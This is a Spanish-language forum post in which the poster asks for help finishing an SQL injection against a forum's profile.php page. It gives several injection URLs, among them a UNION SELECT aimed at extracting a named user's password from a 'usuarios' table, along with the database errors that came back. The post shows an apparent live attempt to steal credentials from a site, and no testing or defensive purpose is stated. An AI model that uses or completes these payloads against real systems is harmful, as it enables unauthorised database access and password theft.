Estoy intentando una inyeccion, ejecuto lo siguiente:
http://ipalforo/profile.php?mode=viewprofile&u='2;'%20UNION%20SELECT%20MIN(Password),2,3,4,5%20FROM%20usuarios%20WHERE%20user%20=%20'zanahoria
y consigo:
SQL Error : Line 3: Incorrect syntax near '2'.
SELECT * FROM users WHERE username = '\'2;\' UNION SELECT MIN(Pas' AND user_id <> -1
Es como si se cortase, solo puedo escribir X caracteres a partir osea la select tiene que ser mas corta creo.
Otra mas que ejecuto es:
http://ipalforo/profile.php?mode=viewprofile&u='2;
Con lo que obtengo:
SQL Error : Unclosed quotation mark before the character string ' AND user_id <> -1'.
SELECT * FROM users WHERE username = '\'2;' AND user_id <> -1
Otro ejemplo:
http://ipalforo/profile.php?mode=viewprofile&u=''%20union%20select%20*%20from%20fish_users'2;
y consigo:
QL Error : Line 3: Incorrect syntax near '\'.
SELECT * FROM users WHERE username = '\'\' union select * from fi' AND user_id <> -1
He probado muchas otras cosas y consigo cosas similares, pero no se como arreglarmelas con el union , para sacar el password y sacarla por pantalla , alguna ayuda ?
Gracias.

PD: Este post lo puse en http://foro.elhacker.net/index.php/topic,98448.30.html pero como nadie repondia lo pongo aqui, por si no era su sitio adecuado, si el moderador lo cree oportuno que borre cualquiera de ellos.










Autor


En línea



